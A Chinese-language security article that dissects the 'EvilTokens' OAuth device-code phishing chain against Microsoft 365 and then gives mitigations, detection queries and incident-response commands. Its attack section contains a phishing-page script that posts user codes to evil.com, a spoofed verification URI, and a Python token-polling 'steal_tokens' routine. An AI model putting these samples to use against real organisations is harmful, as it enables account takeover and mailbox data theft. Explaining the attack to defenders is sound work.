1. 从一次异常登录告警说起
去年第三季度,某跨国企业的安全团队发现了一件怪事:他们的Microsoft 365审计日志中频繁出现来自巴西的异常登录,但所有受影响账户都启用了MFA(多因素认证)。更蹊跷的是,这些登录会话的令牌有效期异常持久,有些甚至超过了90天。经过深入调查,安全团队最终发现攻击者正在利用OAuth设备授权流(Device Authorization Flow)中的设计特性,构建了一种新型的钓鱼攻击链——这就是后来被命名为EvilTokens的攻击手法。
这种攻击之所以危险,在于它完全绕过了传统认知中"MFA能阻断99%账户劫持"的安全假设。攻击者通过精心构造的OAuth请求,诱骗用户授权一个恶意应用,随后利用获取到的长时效令牌持续访问企业资源。整个过程无需窃取密码,也无需实时拦截MFA验证码,使得常规安全防护措施几乎完全失效。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. OAuth设备授权流的工作机制解析
2.1 标准流程的正向应用场景
OAuth 2.0设备授权流原本是为智能电视、打印机等输入受限设备设计的认证方案。其标准流程包含六个关键步骤:
- 设备向授权服务器发起请求,获取用户验证码(user_code)和设备码(device_code)
- 设备提示用户在浏览器访问验证页面并输入user_code
- 授权服务器返回当前授权状态(通常轮询实现)
- 用户完成身份验证并确认授权范围
- 设备获取访问令牌(access_token)和刷新令牌(refresh_token)
- 设备使用令牌访问受保护资源
在合规场景下,微软Azure AD对该流程的实施包含以下安全控制:
- user_code通常为8字符,采用大写字母+数字组合(如BDW7KL3M)
- 设备轮询间隔不得小于5秒
- 默认令牌有效期90天(可配置)
- 必须显示明确的授权范围确认页面
2.2 攻击者视角的流程滥用
EvilTokens攻击链主要利用了三处设计特性:
-
长时效令牌获取:通过设备流获取的refresh_token默认有效期长达90天,远超交互式登录的会话时长(通常24小时)
-
MFA上下文绕过:当用户在已认证会话中批准请求时,部分IdP会继承当前的MFA状态,不再触发二次验证
-
权限范围混淆:攻击者注册恶意应用时声明最小权限(如offline_access),但在授权页面伪造更高级别的权限描述
实际攻击中,攻击者会构造如下的恶意请求链:
http复制POST /tenant-id/oauth2/v2.0/devicecode
Content-Type: application/x-www-form-urlencoded
client_id=恶意应用ID&scope=offline_access%20User.Read
对应的响应中会包含精心设计的verification_uri_complete:
json复制{
"device_code": "DAQAB...",
"user_code": "BDW7-KL3M",
"verification_uri": "https://microsoft.com/devicelogin",
"verification_uri_complete": "https://evil.com/fake?code=BDW7KL3M",
"expires_in": 900,
"interval": 5
}
3. EvilTokens攻击链的完整解剖
3.1 初始访问阶段的社会工程学
攻击者通常会通过以下渠道分发恶意设备码:
- 伪造IT支持邮件:"您的打印机需要重新认证"
- 受陷的内部Wiki页面嵌入伪装成设备配置指南的链接
- 水坑攻击中注入的虚假错误提示:"点击此处输入验证码继续"
一个高仿的钓鱼页面可能包含以下特征:
html复制<div class="microsoft-branding">
<h2>设备需要验证</h2>
<p>请输入屏幕上显示的8位代码:BDW7-KL3M</p>
<input type="text" id="userCode">
<button onclick="submitToPhishingEndpoint()">验证设备</button>
</div>
<script>
// 实际提交到攻击者控制的端点
function submitToPhishingEndpoint() {
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({code: document.getElementById('userCode').value})
})
}
</script>
3.2 令牌获取与持久化技术
成功诱骗用户授权后,攻击者通过轮询获取令牌:
python复制import requests
import time
def steal_tokens(device_code):
token_url = "https://login.microsoftonline.com/tenant-id/oauth2/v2.0/token"
payload = {
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code,
"client_id": "恶意应用ID"
}
while True:
response = requests.post(token_url, data=payload)
if response.status_code == 200:
return response.json() # 包含access_token和refresh_token
time.sleep(5)
获取的refresh_token会被存储在攻击者的C2服务器上,通过定期刷新维持访问权限。我们曾观察到某攻击组织使用Azure Blob Storage来管理被盗令牌,其数据结构如下:
json复制{
"tenant_id": "target-org-id",
"user_upn": "victim@company.com",
"refresh_token": "AQABAAAAA...",
"last_refresh": "2023-11-05T08:00:00Z",
"scope": "User.Read Mail.Read"
}
3.3 横向移动与数据渗出
拥有有效令牌后,攻击者可以通过Microsoft Graph API执行多种恶意操作:
http复制GET https://graph.microsoft.com/v1.0/me/messages
Authorization: Bearer eyJ0eXAiOiJKV1Qi...
更高级的攻击者会组合使用以下技术:
- 令牌降级攻击:利用application权限获取更高特权
- 影子应用注册:在目标租户内创建新的恶意应用
- 条件访问策略规避:通过受控设备的地理位置模拟合法访问
4. 防御体系的重构方案
4.1 即时缓解措施
对于已部署Microsoft 365的企业,建议立即执行以下操作:
- 审查应用权限:
powershell复制Get-AzureADServicePrincipal -All $true |
Where-Object { $_.Tags -contains "WindowsAzureActiveDirectoryIntegratedApp" } |
Select-Object DisplayName, AppId, PublisherName
- 配置设备流限制:
json复制// Conditional Access策略示例
{
"displayName": "限制设备授权流",
"state": "enabled",
"conditions": {
"clientAppTypes": ["all"],
"applications": {
"includeApplications": ["All"]
},
"grantControls": {
"operator": "AND",
"builtInControls": ["block"]
}
}
}
4.2 长期架构改进
建议采用分层防御策略:
网络层控制:
- 对/OAuth2/v2.0/devicecode端点的出站流量进行监控
- 在边界防火墙添加针对新注册域名(如getfiddler.com)的拦截规则
身份层加固:
mermaid复制graph TD
A[用户发起设备流请求] --> B{是否企业托管设备?}
B -->|是| C[允许标准流程]
B -->|否| D[触发二次审批流程]
D --> E[安全团队人工审核]
检测层增强:
- 创建SIEM规则检测异常的设备流使用模式:
sql复制SELECT * FROM OfficeActivity
WHERE OperationName = "Add application"
AND ApplicationId NOT IN (允许的应用白名单)
4.3 用户教育要点
培训应重点强调以下识别特征:
- 合法Microsoft验证页面始终使用microsoft.com/devicelogin域名
- 真正的验证码不会通过邮件或即时消息发送
- 授权前必须核对权限范围与实际需求是否匹配
可部署的模拟钓鱼测试模板:
html复制<!-- 内部安全意识培训使用 -->
<div class="training-modal">
<p>您收到打印机配置代码:GHT6-7UJK</p>
<a href="https://fake.contoso.com/device" class="btn">立即验证</a>
<div class="hint">提示:这是模拟测试,实际设备验证应通过公司IT门户发起</div>
</div>
5. 事件响应手册特别附录
当检测到EvilTokens攻击时,按以下优先级处置:
- 令牌撤销:
powershell复制Revoke-AzureADUserAllRefreshToken -ObjectId <受害用户ObjectId>
- 应用处置:
powershell复制Remove-AzureADApplication -ObjectId <恶意应用ObjectId>
- 日志追溯:
kusto复制OfficeActivity
| where OperationName in ("Add application", "Update application")
| where InitiatedBy contains "外部用户"
| project TimeGenerated, OperationName, InitiatedBy, ApplicationId
在最近处理的案例中,我们发现攻击者开始滥用Azure AD的multi-tenant应用特性。对此可设置以下防御规则:
json复制{
"allowedToSignUpEmailBasedSubscriptions": false,
"allowedToUseSSO": false,
"permissionGrantPolicyIdsAssignedToDefaultUserRole": []
}
企业安全团队应当建立定期的OAuth应用审查机制,我们建议的检查清单包括:
- 所有具有offline_access权限的应用
- 最近30天内新增的应用注册
- publisher_domain为空的应用程序
- 请求权限与业务需求不匹配的应用
对于关键业务系统,可以考虑实现实时的OAuth决策引擎,其参考架构包含:
- 风险评分模块(基于设备指纹、地理位置、请求频率等)
- 业务上下文分析器(验证请求是否符合用户角色)
- 动态审批工作流(对高风险操作要求二次确认)
在防御体系升级过程中,我们总结出三条黄金法则:
- 永远假设MFA可以被绕过,建立多层次的纵深防御
- 设备授权流应当视为特权操作,需要额外的访问控制
- OAuth权限管理必须遵循最小特权原则,定期审查自动过期
最后需要强调的是,随着OAuth在物联网设备的广泛应用,类似的攻击手法可能会出现在更多场景中。安全团队应当密切关注以下新兴风险点:
- 工业控制系统中的OAuth实现
- 医疗设备的第三方应用集成
- 云原生服务间的跨系统授权
